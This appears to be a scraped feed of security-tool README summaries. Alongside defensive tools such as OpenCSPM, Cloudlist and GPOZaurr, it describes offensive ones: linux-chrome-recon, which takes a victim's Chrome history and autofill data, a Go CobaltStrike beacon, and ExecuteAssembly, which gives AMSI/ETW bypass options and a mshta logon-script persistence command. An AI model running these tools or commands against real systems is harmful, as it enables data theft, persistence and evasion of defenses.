<Right>Show the next tab view.
<Left>Show the previous tab view.
<Down>Scroll down tables.
<Up>Scroll up tables.
jScroll down lists.
kScroll up lists.
<Enter>Select list elements.
pPause (default and replay modes).
fFast forward (replay mode).
q / <C-c>Quit uro.

License

Released under the GPL3 license.



OpenCSPM - Open Cloud Security Posture Management Engine

$
0
0

Open Cloud Security Posture Management, OpenCSPM, is an open-source platform for gaining deeper insight into your cloud configuration and metadata to help understand and reduce risk over time.


Who is OpenCSPM for?
  • Security teams running infrastructure in cloud environments looking to gain visibility into security risk across the entire account and track the resolution of those issues.
  • Development and Infrastructure teams looking for a set of security best-practices to follow as they develop new systems and bake security in early and often.
  • Red Teams wanting to create targeted scenarios specific to their environment with the highest impact and benefit to their Blue Team.
  • Any organization looking to establish a baseline of security issues, prioritize them by risk, and track them to closure over time.

What does OpenCSPM do?

When deployed inside your environment, it can:

  1. collect several types of cloud configuration data on a one-time or recurring basis from your cloud account resources (VMs, Clusters, IAM, etc),
  2. parse and load that data into a graph database with deep linked relationships between resources to support advanced querying capabilities,
  3. run a customizable series of policy checks to determine conformance and record passing/failing resources on a recurring basis,
  4. create custom groupings of related policy checks that aid in tracking remediation efforts and reduction in risk over time,
  5. and provide notifications when deviations from desired baselines occur to multiple destinations.

High-level Architecture

OpenCSPM has several key components that work together:


  1. Structured configuration and metadata is collected from the GCP Cloud Asset Inventory and Kubernetes API to a Storage Bucket or local filesystem.
  2. The data is parsed and loaded into a Graph Database with complex relationships intact.
  3. One or more customizable sets of policy checks ("control packs") are run against the parsed inventory data, and results are stored.
  4. The API/Engine serves up the user interface, handles tracking of campaigns, and notifications.

Getting Started

Ready to get going? Follow the instructions for getting started or watch the following getting started video:



Support and Community

OpenCSPM is undergoing active development and community assistance is available via the OpenCSPM Slack Channel. If you have found an issue, please file it using a GitHub issue.


Contributing

We invite you to submit requests for new features and bug reports using a Github issue. If you would like to contribute to OpenCSPM, please review our development guide.


Creators

OpenCSPM was made open-source software by Josh Larsen and Brad Geesaman, the co-founders of Darkbit. Darkbit is a cloud-native security assessment consulting firm based in the US that helps organizations understand the risks in their cloud and Kubernetes resource configurations.



Linux-Chrome-Recon - An Information Gathering Tool Used To Enumerate All Possible Data About An User From Google-Chrome Browser From Any Linux Distribution

$
0
0


"linux-chrome-recon" is a Information gathering tool used to enumerate all possible data about an user from Google-Chrome browser from any Linux distribution


Intro

1.Loots possible data from Google-Chrome 2.Launches HTTP Server on /tmp directory (Usefull) 3.Simple script to receive data from Victim(One time run) 4.Clears the /tmp data when server is closed...


Files retrieved :
  1. History
  2. Login Creds ( Cannot grab passwds , because its encrypted )
  3. Keywords Searched
  4. Autofill Data
  5. Download History
  6. Top Sites
  7. User Profile Images

Installation
https://github.com/monishmonish/linux-chrome-recon/
cd linux-chrome-recon/
pip3 install pandas
pip3 install wget

To Run

1.On Victim Machine

python3 server.py

2.On Attacking Machine

python3 receivedata.py

Here the RHOST value must be the IP of the Victime machine

Incase if you get any permission error while writing the data on attacker side Try,

sudo chmod 777 linux-chrome-recon

To-Dos

If your are reading this... Make sure you can add more modules to this script and notify me.. Dont forget to star and follow.



Phpvuln - Audit Tool To Find Common Vulnerabilities In PHP Source Code

$
0
0


phpvuln is an open source OWASPpenetration testing tool written in Python 3, that can speed up the the process of finding common PHP vulnerabilities in PHP code, i.e. command injection, local/remote file inclusion and SQL injection.


Installation

You can download phpvuln by cloning the Git repository:

git clone https://github.com/ecriminal/phpvuln.git

Install the required PIP packages:

python -m  pip install -r requirements.txt

Usage

To get the list of all options use:

python phpvuln.py -h

Contributors

checksum

I'm currently looking for contributors to help improve phpvuln. Contact me on Discord, if you're interested :-)



Satellite - Easy-To-Use Payload Hosting

$
0
0


Satellite is an web payload hosting service which filters requests to ensure the correct target is getting a payload. This can also be a useful service for hosting files that should be only accessed in very specific circumstances.


Quickstart Guide
  1. Install satellite on Ubuntu using the .deb file

dpkg -i satellite_X.X.X_linux_amd64.tar.gz

  1. Create file to serve

echo '<h1>It worked!</h1>' > /var/www/html/index.html

  1. Create filtering file for index.html

echo -e "authorized_useragents:\n- ayyylmao" > /var/www/html/index.html.info

  1. Run satellite

systemctl start satellite

  1. Test satellite

This will return It worked!

curl -k -A ayyylmao https://localhost/

This will not

curl -k https://localhost


Example Usage

To get hands-on experience with the options, check out the examples folder. Replace your server_root with the sub-folder and try out the options.


Wiki

For a more detailed explaination of how to use satellite, check out the wiki


Projects Used:


Geacon - Implement CobaltStrike's Beacon In Go

$
0
0


Using Go to implement CobaltStrike's Beacon

This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY


How to play
  1. Setup the teamserver and start a http lisenter, the teamserver will generate the file .cobaltstrike.beacon_keys.
  2. Compile the BeaconTool with Jetbrains Idea, use command java -jar BeaconTool.jar to convert java keystore to PEM format.
  3. Replace the RSA key pair in the file cmd/config/config.go (the RSA private key is not required, I wrote it in the code just for the record)
  4. Compile the geacon whatever platform you want to run: for example, use the command export GOOS="darwin" && export GOARCH="amd64" && go build cmd/main.go to compile an executable binary running on MacOS.
  5. Having fun ! PR and issue is welcome ;)
  6. Geacon has just been tested on CobaltStrike 3.14 and only support default c2profile, so many hardcode in the project and I will not try to implement more C2profile support at this moment.
  7. Thanks for @xxxxxyyyy's PR, And now Geacon supports CobaltStrike 4.0, please checkout the branch 4.0 to compile.
  8. Geacon's branch master supports CobaltStrike 4.1, currently available functions include: executing commands, uploading, downloading, file browser, switching the current working directory, and exiting the current process.
  9. Geacon only focuses on protocol analysis, but if you want to experience more features, you can use another project of our partners, check out CrossC2 now!

Protocol analysis

To be continued, I will update as soon as I have time ...


Todo
  1. Support CobaltStrike 4.x

  2. Fix the OS icon issue in session table

  3. String encoding issue

_DarkRay@RedCore




Cloudlist - A Tool For Listing Assets From Multiple Cloud Providers

$
0
0


Cloudlist is a multi-cloud tool for getting Assets (Hostnames, IP Addresses) from Cloud Providers. This is intended to be used by the blue team to augment Attack Surface Management efforts by maintaining a centralized list of assets across multiple clouds with very little configuration efforts.


Features
  • Easily list Cloud assets with multiple configurations.
  • Multiple cloud providers support.
  • Highly extensible making adding new providers a breeze.
  • STDOUT support to work with other tools in pipelines.

Usage
▶ cloudlist -h

This will display help for the tool. Here are all the switches it supports.

FlagDescriptionExample
configConfig file for providerscloudlist -config test.yaml
providerList assets of given providerscloudlist -provider aws
hostList hosts onlycloudlist -host
ipList Ips onlycloudlist -ip
jsonList output in the JOSN formatcloudlist -json
outputStore the output in filecloudlist -output
silentDisplay results onlycloudlist -silent
versionDisplay current versioncloudlist -version
verboseDisplay verbose modecloudlist -verbose

Installation Instructions

From Source

The installation is easy. You can download the pre-built binaries for your platform from the Releases page. Extract them using tar, move it to your $PATHand you're ready to go.

Download latest binary from https://github.com/projectdiscovery/cloudlist/releases

▶ tar -xvf cloudlist-linux-amd64.tar
▶ mv cloudlist-linux-amd64 /usr/local/bin/cloudlist
▶ cloudlist -h

From Source

cloudlist requires go1.14+ to install successfully. Run the following command to get the repo -

▶ GO111MODULE=on go get -v github.com/projectdiscovery/cloudlist/cmd/cloudlist

From Github
▶ git clone https://github.com/projectdiscovery/cloudlist.git; cd cloudlist/cmd/cloudlist; go build; cp cloudlist /usr/local/bin/; cloudlist -version

Configuration file

The default config file should be located in $HOME/.config/cloudlist/config.yaml and has the following contents as an example. In order to run this tool, the keys need to updated in the config file.

# Configuration file for cloudlist enumeration agent
- # provider is the name of the provider (Digitalocean)
provider: do
# profile is the name of the provider profile
profile: xxxx
# digitalocean_token is the API key for digitalocean cloud platform
digitalocean_token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

- # provider is the name of the provider (Scaleway)
provider: scw
# scaleway_access_key is the access key for scaleway API
scaleway_access_key: SCWXXXXXXXXXXXXXX
# scaleway_access_token is the access token for scaleway API
scaleway_access_token: xxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxx

- # provider is the name of the provider (Amazon Web Services)
provider: aws
# pro file is the name of the provider profile
profile: staging
# aws_access_key is the access key for AWS account
aws_access_key: AKIAXXXXXXXXXXXXXX
# aws_secret_key is the secret key for AWS account
aws_secret_key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

- # provider is the name of the provider (Google Cloud Platform)
provider: gcp
# profile is the name of the provider profile
profile: logs
# gcp_service_account_key is the minified json of a google cloud service account with list permissions
gcp_service_account_key: '{xxxxxxxxxxxxx}'

Running cloudlist
▶ cloudlist

This will list all the assets from configured providers in the configuration file. Specific providers and asset type can also be specified using available flags.

▶ cloudlist -provider aws

________ _____ __
/ ____/ /___ __ ______/ / (_)____/ /_
/ / / / __ \/ / / / __ / / / ___/ __/
/ /___/ / /_/ / /_/ / /_/ / / (__ ) /_
\____/_/\____/\__,_/\__,_/_/_/____/\__/ v0.0.1

projectdiscovery.io

[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[INF] Listing assets from AWS (prod) provider.
abc.com
example.com
1.1.1.1
2.2.2.2
3.3.3.3
4.4.4.4
5.5.5.5
6.6.6.6
[INF] Found 2 hosts and 6 IPs from AWS service (prod)

Running cloudlist with Nuclei

Scanning assets from various cloud providers with nuclei for security assessments:-

▶ cloudlist -silent | httpx -silent | nuclei -t cves/

Supported providers
  • AWS (Amazon web services)
    • EC2
    • Route53
  • GCP (Google Cloud Platform)
    • Cloud DNS
  • DO (DigitalOcean)
    • Instances
  • SCW (Scaleway)
    • Instances

To see how to configure providers, check PROVIDERS.md.


Todo
  • Add support for Azure platform

Cloudlist as a library

It's possible to use the library directly in your go programs. The following code snippets outline how to list assets from all or given cloud provider.

package main

import (
"context"
"log"

"github.com/projectdiscovery/cloudlist/pkg/inventory"
"github.com/projectdiscovery/cloudlist/pkg/schema"
)

func main() {
inventory, err := inventory.New(schema.Options{
schema.OptionBlock{"provider": "digitalocean", "digitalocean_token": "ec405badb974fd3d891c9223245f9ab5871c127fce9e632c8dc421edd46d7242"},
})
if err != nil {
log.Fatalf("%s\n", err)
}

for _, provider := range inventory.Providers {
resources, err := provider.Resources(context.Background())
if err != nil {
log.Fatalf("%s\n", err)
}
for _, resource := range resources.Items {
_ = resource // Do something with the resource
}
}
}

Acknowledgments

Thank you for inspiration


License

cloudlist is made with love by the projectdiscovery team and licensed under MIT


GPOZaurr - Group Policy Eater Is A PowerShell Module That Aims To Gather Information About Group Policies

$
0
0


Group Policy Eater is a PowerShell module that aims to gather information about Group Policies but also allows fixing issues that you may find in them.

Installing

GPOZaurr requires RSAT installed to provide results. If you don't have them you can install them as below. Keep in mind it also installs GUI tools so it shouldn't be installed on user workstations.

# Windows 10 Latest
Add-WindowsCapability -Online -Name 'Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0'
Add-WindowsCapability -Online -Name 'Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0'

Finally just install module:

Install-Module -Name GPOZaurr -AllowClobber -Force

Force and AllowClobber aren't necessary, but they do skip errors in case some appear.


Updating
Update-Module -Name GPOZaurr

That's it. Whenever there's a new version, you run the command, and you can enjoy it. Remember that you may need to close, reopen PowerShell session if you have already used module before updating it.

The essential thing is if something works for you on production, keep using it till you test the new version on a test computer. I do changes that may not be big, but big enough that auto-update may break your code. For example, small rename to a parameter and your code stops working! Be responsible!


Resources

To understand the usage I've created blog post you may find useful


Changelog
  • 0.0.114 - 2021.01.27
    • Improved Invoke-GPOZaurr
      • HTML now uses offline mode by default (no CDN) - increase in size of HTML up to 3MB
      • Using Online switch forces use of CDN - smaller files. For example Invoke-GPOZaurr -Type GPOList -Online
    • Improved Invoke-GPOZaurrSupport
      • HTML now uses offline mode by default (no CDN) - increase in size of HTML up to 3MB
      • Using Online switch forces use of CDN - smaller files. For example Invoke-GPOZaurrSupport -Online
      • Removed parameter Offline, added parameter Online
      • The cmdlet is not really production ready. It's work in progress
  • 0.0.113 - 2021.01.25
    • Improved Invoke-GPOZaurr
      • Report GPOAnalysis - added WindowsTimeService
    • Improved Invoke-GPOZaurrContent
      • Added WindowsTimeService type
  • 0.0.112 - 2021.01.25
    • Improved Invoke-GPOZaurr
  • 0.0.111 - 2021.01.24
    • Improved Invoke-GPOZaurr
  • 0.0.110 - 2021.01.22
    • Improved Invoke-GPOZaurr
  • 0.0.109 - 2021.01.11
    • Improved Invoke-GPOZaurr
  • 0.0.108 - 2021.01.11
    • Improved Invoke-GPOZaurr
      • Improved GPOConsistency
  • 0.0.107 - 2021.01.11
    • Improved Invoke-GPOZaurr
  • 0.0.106 - 2021.01.11
    • Improved Invoke-GPOZaurrContent
  • 0.0.105 - 2021.01.05
    • Improved Get-GPOZaurr
      • Improved report GPOBrokenLink
  • 0.0.104 - 2021.01.04
    • Improved Get-GPOZaurrBrokenLink
    • Improved Repair-GPOZaurrBrokenLink
    • Improved Get-GPOZaurr
      • Improved report GPOBrokenLink
  • 0.0.103 - 2021.01.04
    • Improved Get-GPOZaurr
      • Added new report GPOBrokenLink
    • Added Get-GPOZaurrBrokenLink
    • Added Repair-GPOZaurrBrokenLink
  • 0.0.102 - 2021.01.02
    • Improved Get-GPOZaurrLink
      • Supports all links across forest
      • Renamed Linked validate set from Other to OrganizationalUnit
    • Improved Get-GPOZaurrLinkSummary
    • Improved/BugFix Get-GPOZaurr to properly detect linked GPOs in sites/cross-domain
    • Improved Invoke-GPOZaurrPermission
      • Renamed Linked validate set from Other to OrganizationalUnit
    • Improved Invoke-GPOZaurr
      • Added GPOLinks basic list
  • 0.0.101 - 23.12.2020
    • Improved Get-GPOZaurrBroken
      • It now detects ObjectClass Issue
      • Heavily improved performance
      • Removed some useless properties for this particular cmdlet
      • All states: Not available on SYSVOL, Not available in AD, Exists, Permissions Issue, ObjectClass Issue
      • Improved help
    • Improved Remove-GPOZaurrBroken
      • It now deals with ObjectClass Issue
      • Heavily improved performance
      • Removed some useless properties for this particular cmdlet
      • Now requires manual type insert AD, SYSVOL or ObjectClass (or all of them). Before it was auto using AD/SYSVOL.
      • Improved help
    • Improved Invoke-GPOZaurr
      • Type GPOList
      • Renamed GPOOrphans to GPOBroken
      • Improved GPOBroken with ObjectClass issue
  • 0.0.100 - 21.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOPermissionsRead
      • Type GPOPermissions
  • 0.0.99 - 13.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOList - require GPO to be 7 days old for deletion to be proposed
      • Type GPOPermissions - one stop for permissions
      • Allows Steps to be chosen via their menu and out-of-order
    • Improved Remove-GPOZaurr - added RequireDays parameter to prevent deletion of just modified GPOs
    • Added Get-GPOZaurrPermissionAnalysis
    • Added Repair-GPOZaurrPermission
  • 0.0.98 - 10.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOList - fixed unexpected ending of cmdlet when error occurs (for example deleted GPO while script is running) which could impact results
      • Other types - small color adjustment
    • Fixed/Improved Get-GPOZaurr - fixed unexpected ending of cmdlet when error occurs (for example deleted GPO while script is running), improved code base
    • Improved Invoke-GPOZaurrSupport
  • 0.0.97 - 07.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOList - added more data, did small reorganization
  • 0.0.96 - 07.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOList - added more data, added Optimization Step
    • Added Set-GPOZaurrStatus
    • Added Optimize-GPOZaurr
    • Fixed Invoke-GPOZaurrPermission which would not remove permission due to internal changes earlier on
    • Small change to Backup-GPOZaurr
      • Added support for Disabled. It's now possbile to backup All (default), Empty,Unlinked,Disabled or a mix of them
      • Removed useless GPOPath parameter
  • 0.0.95 - 04.12.2020
    • Fix for too big int - #4 - tnx neztach
    • Improved Invoke-GPOZaurr
      • Type GPOList - added ability for Exclusions
      • All other types, small improvements
      • Added HideSteps, ShowError, ShowWarning -> Disabled Warnings/Errors by default as they tend to show too much information
    • Improved Remove-GPOZaurr - added Exclusions
  • 0.0.93 - 03.12.2020
    • Improved Invoke-GPOZaurr
      • Type GPOList reverted charts colors for entries to match colors
      • Added Skip-GroupPolicy to use within Invoke-GPOZaurr
    • Improved Invoke-GPOZaurr with basic support for Exclusions
    • Improved Get-GPOZaurr with basic support for Exclusions
    • Improved Remove-GPOZaurrPermission error handling
  • 0.0.92 - 01.12.2020
    • Improved Invoke-GPOZaurrSupport
    • Improved Invoke-GPOZaurr
      • Type GPOList improved with more data, more problems and clearer information
    • Improved Remove-GPOZaurr
      • Added ability do remove disabed GPO
    • Improved Get-GPOZaurr detecting more issues, delivering more data
  • 0.0.91 - 24.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Improve Type GPOPermissionsUnknown
  • 0.0.90 - 23.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Improves Type GPODuplicates
        • Fix for chart color to be RED
      • Add Type GPOPermissionsUnknown
      • Improves logic for Data with 0/1 element
    • Improves Remove-GPOZaurrDuplicateObject - removed Confirm requirement
    • Improves Get-GPOZaurrNetLogon with more verbose
    • Improves Repair-GPOZaurrNetLogonOwner with more verbose and fix for LimitProcessing
  • 0.0.89 - 22.11.2020
    • Small update Add-GPOZaurrPermission
    • Improves Invoke-GPOZaurr (WIP)
      • Added Type GPOPermissionsAdministrative
  • 0.0.88 - 18.11.2020
    • Fix for Add-GPOZaurrPermission
  • 0.0.87 - 18.11.2020
    • Improve error handling Remove-GPOZaurrBroken
  • 0.0.86 - 18.11.2020
    • Improve error handling Remove-GPOZaurrBroken
  • 0.0.85 - 17.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Split NetLogonPermissions into NetLogonPermissions and NetLogonOwners
      • Improved type NetLogonPermissions
      • Improved type NetLogonOwners
    • Improves Get-GPOZaurrFiles
    • Improves Get-GPOZaurrNetLogon
    • Fix for Get-GPOZaurrNetLogon
  • 0.0.84 - 16.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Type NetLogonPermissions
    • Fix for Get-GPOZaurrNetLogon
  • 0.0.83 - 14.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Fix for wrong ActionRequired count
  • 0.0.82 - 14.11.2020
    • Added Get-GPOZaurrPermissionIssue to detect permission issue with no rights
    • Improves Invoke-GPOZaurr (WIP)
      • Type GPOPermissionsRead improved detection of problems with low permissions
  • 0.0.81 - 12.11.2020
    • Fix for Set-GPOZaurrOwner in case of missing permissions to not throw errors
    • Improves Invoke-GPOZaurr (WIP)
      • Type GPOPermissionsRead added
  • 0.0.80 - 12.11.2020
    • Improves Invoke-GPOZaurr (WIP)
      • Type GPOOrphans clearer options, updated texts, split per domain
      • Type GPOOwners clearer options, updated texts, split per domain
    • Improves Add-GPOZaurrPermission
      • Fixes LimitProcessing to work correctly
      • Added All to process all GPOs
    • Fixes Remove-GPOZaurrPermission
    • Improves Set-GPOZaurrOwner
      • Added Force to force GPO Owner to any principal (normally only Domain Admins)
  • 0.0.79 - 10.11.2020
    • Improved Invoke-GPOZaurr - type GPOOrphans
  • 0.0.78 - 10.11.2020
    • Improved Remove-GPOZaurrBroken more verbose
    • Improved Get-GPOZaurrBroken more verbose
    • Improved Invoke-GPOZaurr - type GPOOrphans
    • Improved Invoke-GPOZaurr - type GPOList - needs more work
    • Improved Get-GPOZaurr with better detection of Empty Policies (needs testing)
  • 0.0.77 - 9.11.2020
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.76 - 8.11.2020
    • Improved Get-GPOZaurrNetLogon to better handle errors
  • 0.0.75 - 8.11.2020
    • Improved Get-GPOZaurrPermissionConsistency to stop checking consistency if path doesn't exists
  • 0.0.74 - 8.11.2020
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.73 - 7.11.2020
    • Improved Invoke-GPOZaurr (WIP)
    • Improved Get-GPOZaurr
  • 0.0.72 - 6.11.2020
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.71 - 3.11.2020
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.70 - 29.10.2020
    • Added Get-GPOZaurrDuplicateObject
    • Added Remove-GPOZaurrDuplicateObject
  • 0.0.69 - 29.10.2020
    • Improved Invoke-GPOZaurr (WIP)
    • Improved Get-GPOZaurrNetLogon
    • Improved Get-GPOZaurrOwner
    • Improved Set-GPOZaurrOwner
    • Added Repair-GPOZaurrNetLogonOwner
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.68 - 28.10.2020
    • Renamed Show-GPOZaurr to Invoke-GPOZaurr
    • Renamed Invoke-GPOZaurr to Invoke-GPOZaurrContent
    • Improvements to Get-GPOZaurrPermissionConsistency - don't check for inherited permissions if top level ones are inconsistent
    • Improved Invoke-GPOZaurr (WIP)
  • 0.0.67 - 22.10.2020
    • Improved Show-GPOZaurr (WIP)
  • 0.0.66 - 22.10.2020
    • Improved Show-GPOZaurr (WIP)
  • 0.0.65 - 22.10.2020
    • Improved Show-GPOZaurr (WIP)
  • 0.0.64 - 21.10.2020
    • Renamed Remove-GPOZaurrOrphaned to Remove-GPOZaurrBroken keeping it as an alias
    • Renamed Get-GPOZaurrSysvol to Get-GPOZaurrBroken keeping it as an alias
    • Improved Show-GPOZaurr (WIP)
  • 0.0.63 - 19.10.2020
    • Renamed Invoke-GPOZaurrContent back to Invoke-GPOZaurr
    • Added Show-GPOZaurr (WIP)
    • Added OutputType,OutputType,Open,Online parameters to Invoke-GPOZaurr
    • Added Get-GPOZaurrNetLogon
    • Improved Get-GPOZaurrOwner
    • Fixes Get-GPOZaurrSysvol
  • 0.0.62 - 14.10.2020
    • Renamed Invoke-GPOZaurr to Invoke-GPOZaurrContent - I want to use Invoke-GPOZaurr for something else
    • Improvements to Get-GPOZaurrPermissionConsistency for GPOs without SYSVOL to be reported properly
    • Added Get-GPOZaurrPermissionRoot
    • Renamed Remove-GPOZaurrOrphanedSysvolFolders to Remove-GPOZaurrOrphaned
    • Improved Remove-GPOZaurrOrphaned to deal with orphaned folders but also orphaned AD GPO (No sysvol data)
    • Improved Get-GPOZaurrSysVol to detect orphaned SYSVOL or AD GPO objects
    • Improved Get-GPOZaurrSysVol to detect permissions issue when reading AD GPO objects
    • Added Get-GPOZaurrPermissionRoot to show which users/groups have control over all GPOs (allowed to create/modify)
    • Improved Get-GPOZaurrPermissionSummary to include Get-GPOZaurrPermissionRoot custom permissions
    • Updated Remove-GPOZaurrPermission
    • Updated Get-GpoZaurrPermission
    • Updated Get-GPOZaurrFiles to better handle access issue
    • Reversed parameters Get-GPOZaurrFiles from Limited to ExtendedMetaData and fixed missing columns
  • 0.0.61 - 31.08.2020
    • Improvement to Get-GPOZaurrPermissionSummary
    • Fixes to ConvertFrom-CSExtension
    • Fixes to Find-CSExtension
  • 0.0.59 - 26.08.2020
    • Improvement to Get-GPOZaurrPermissionSummary
  • 0.0.58 - 26.08.2020
    • Improvement to Get-GPOZaurrPermissionSummary
  • 0.0.57 - 26.08.2020
    • Improvement to Get-GPOZaurrPermissionSummary
  • 0.0.56 - 26.08.2020
    • Added Get-GPOZaurrPermissionSummary
  • 0.0.55 - 17.08.2020
    • Improved Get-GPOZaurrInheritance
  • 0.0.54 - 16.08.2020
    • Added Invoke-GPOZaurrSupport (WIP)
    • Added ConvertFrom-CSExtension
    • Added Find-CSExtension
    • Added Get-GPOZaurrInheritance
  • 0.0.53 - 16.08.2020
    • Bad release
  • 0.0.52 - 16.08.2020
    • Bad release
  • 0.0.51 - 2.08.2020
    • Updates to Invoke-GPOZaurr - still work in progress
    • Added Get-GPOZaurrSysvolDFSR
    • Added Clear-GPOZaurrSysvolDFSR (requires testing)
  • 0.0.50 - 29.07.2020
    • Updates to couple of commands
  • 0.0.49 - 23.07.2020
    • Hidden files were skipped - and people do crazy things with them
  • 0.0.48 - 21.07.2020
    • Added Get-GPOZaurrFilesPolicyDefinition
    • Updates to Invoke-GPOZaurr - still work in progress
    • Updates to Get-GPOZaurrFiles - still work in progress
    • Updates to Remove-GPOZaurrOrphanedSysvolFolders with backup and support for domains
    • Module will now be signed
  • 0.0.47 - 29.06.2020
    • Update to Get-GPOZaurrAD for better error reporting
    • Updates to Invoke-GPOZaurr - still work in progress
  • 0.0.46 - 28.06.2020
    • Additional protection for Get-GPOZaurrAD for CNF duplicates
    • Update to Save-GPOZaurrFiles
    • Added Invoke-GPOZaurr (alias: Find-GPO) (heavy work in progress)
  • 0.0.45 - 26.06.2020
  • 0.0.44 - 24.06.2020
    • Improvement to Get-GPOZaurrLinkSummary
  • 0.0.43 - 21.06.2020
    • Added Get-GPOZaurrFiles to list files on NETLOGON/SYSVOL shares with a lot of details
  • 0.0.42 - 19.06.2020
    • Fix for Get-GPOZaurrLink and SearchBase parameter
    • Fix for Get-GPOZaurrLink - canonical link Trim() throwing errors if empty
  • 0.0.41 - 18.06.2020
    • Added paramerter SkipDuplicates to Invoke-GPOZaurrPermission which prevents applying permissions over and over again if 1 GPO is linked to a multiple OU's within another OU
  • 0.0.40 - 18.06.2020
  • 0.0.39 - 17.06.2020
    • Updates to Invoke-GPOZaurrPermission with new parameter LimitAdministrativeGroupsToDomain
      • This will get administrative based on IncludeDomains if given. It means that if GPO has Domain admins added from multiple domains it will only find one, and remove all other Domain Admins (if working with Domain Admins that is)
  • 0.0.38 - 17.06.2020
    • Update to Get-PrivGPOZaurrLink which would cause problems to Invoke-GPOZaurrPermission if it would be run without Administrative permission and GPO wouldn't be accessible for that user
  • 0.0.37 - 16.06.2020
    • Updates to Invoke-GPOZaurrPermission with new parameterset Level
    • Updates to Get-GPOZaurrLinkSummary
  • 0.0.36 - 15.06.2020
    • Initial release


ExecuteAssembly - Load/Inject .NET Assemblies

$
0
0


ExecuteAssembly is an alternative of CS execute-assembly, built with C/C++ and it can be used to Load/Inject .NET assemblies by; reusing the host (spawnto) process loaded CLR Modules/AppDomainManager, Stomping Loader/.NET assembly PE DOS headers, Unlinking .NET related modules, bypassing ETW+AMSI, avoiding EDR hooks via NT static syscalls (x64) and hiding imports by dynamically resolving APIs via superfasthash hashing algorithm.


TLDR (Features):
  • CLR related modules unlinking from PEB data structures. (use MS "ListDLLs" utility instead of PH for confirmation)
  • .NET Aseembly and Reflective DLL headers stomping (MZ bytes, e_lfanew, DOS Header, Rich Text, PE Header).
  • Use of static hardcoded syscalls for bypassing EDR Hooks. (x64 support only for now, from WinXP to Win10 19042)
  • CLR "AppDomain/AppDomainManager" enumeration and re-use (ICLRMetaHost->EnumerateLoadedRuntimes), just set the spawnto/host process to a known Windows .NET process.
  • Dynamic Resolution of WIN32 APIs (PEB) using APIs corresponding hash (SuperFastHash)
  • AMSI and ETW patching prior to loading .NET assemblies.
  • .NET assembly bytes parsing and scanning for the CLR version to load/use.
  • No use of GetProcAddress/LoadLibrary/GetModuleHandle for ETW bypass.
  • CLR Hosting using v4 COM API & Reflective DLL injection

Usage:
  • x64(syscalls): this version depends mainly on the use of static syscalls to bypass EDR hooks, you can use this version to build the x64 version of the DLL only (x64 support only for now).

  • x86|x64(PEB): retrieves required API addresses dynamically at runtime by walking the PEB modules EAP tables and resolving APIs via superfasthash hash. however doesn't account for EDR hooks placed either on kernel32.dll or ntdll.dll, you can use this version to build both the x86 and x64 DLLs or only the x86 DLL and use x64(syscalls) version for building the x64 DLL to account for common EDR hooks.

  • Build the required DLLs using VS2017 and/or Windows SDK 10.0.17134.0 (or compatible sdk versions).

  • Make sure gzip is installed and the following artifacts are placed within the same folder then just load the aggressor script "ExecuteAssembly.cna":

    • ExecuteAssembly.cna

    • ExecuteAssembly-x64.dll

    • ExecuteAssembly-x86.dll

    • CLI Options:

      --dotnetassembly: .NET Assembly to load/inject.

      --assemblyargs: .NET assembly arguments.

      --unlink-modules: Unlink .NET related modules such as CLR/MsCoree related DLLs from PEB data structures.

      --stomp-headers: Stomp .NET assembly and reflective DLL PE DOS headers.

      --etw: Bypass event tracing on windows (ETW).

      --amsi: Bypass AMSI.

      --spawnto: Choose spawnto process, list of .NET binaries loading the CLR by default when executed:
            - PresentationHost.exe
            - stordiag.exe
            - ScriptRunner.exe
            - caitstatic.exe
            - Microsoft.Uev.SyncController.exe
            - TsWpfWrp.exe
            - UevAgentPolicyGenerator.exe
            - UevAppMonitor.exe
            - FileHistory.exe
            - UevTemplateBaselineGenerator.exe
            - UevTemplateConfigItemGenerator.exe

  • Check spawnto-list.txt for extra MS binaries loading the the CLR by default and are good candidates to set as a spawnto. (would avoid the known LOLBins unless if it is a dev's machine may be)


Examples:
  • ExecuteAssembly --dotnetassembly /tmp/Seatbelt.exe --assemblyargs LogonSessions --unlink-modules --stomp-headers --amsi --etw --spawnto PresentationHost.exe

  • ExecuteAssembly --amsi --etw --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -c "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test2.hta" -k logonscript -m add --spawnto FileHistory.exe

  • ExecuteAssembly --unlink-modules --stomp-headers --dotnetassembly /tmp/ghostpack/SharPersist.exe --assemblyargs -t reg -k "logonscript" -v "C:\Windows\SysWow64\mshta.exe C:\Users\admin\Downloads\Test.hta" -m remove --spawnto FileHistory.exe

  • ExecuteAssembly --unlink-modules --amsi --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query computername=localhost query="select * from win32_service" --spawnto FileHistory.exe

  • ExecuteAssembly --amsi --etw --dotnetassembly /tmp/ghostpack/SharpWMI.exe --assemblyargs action=query query="select * from win32_process" --spawnto PresentationHost.exe

C2 Support:

Was created and tested mainly on cobalt strike, however it can be used with other C2 frameworks as well (MSF ..etc), just keep in mind that the reflective DLL DLLMAIN is expecting the one-liner payload as a parameter (lpReserved) in the following format (with no ".");

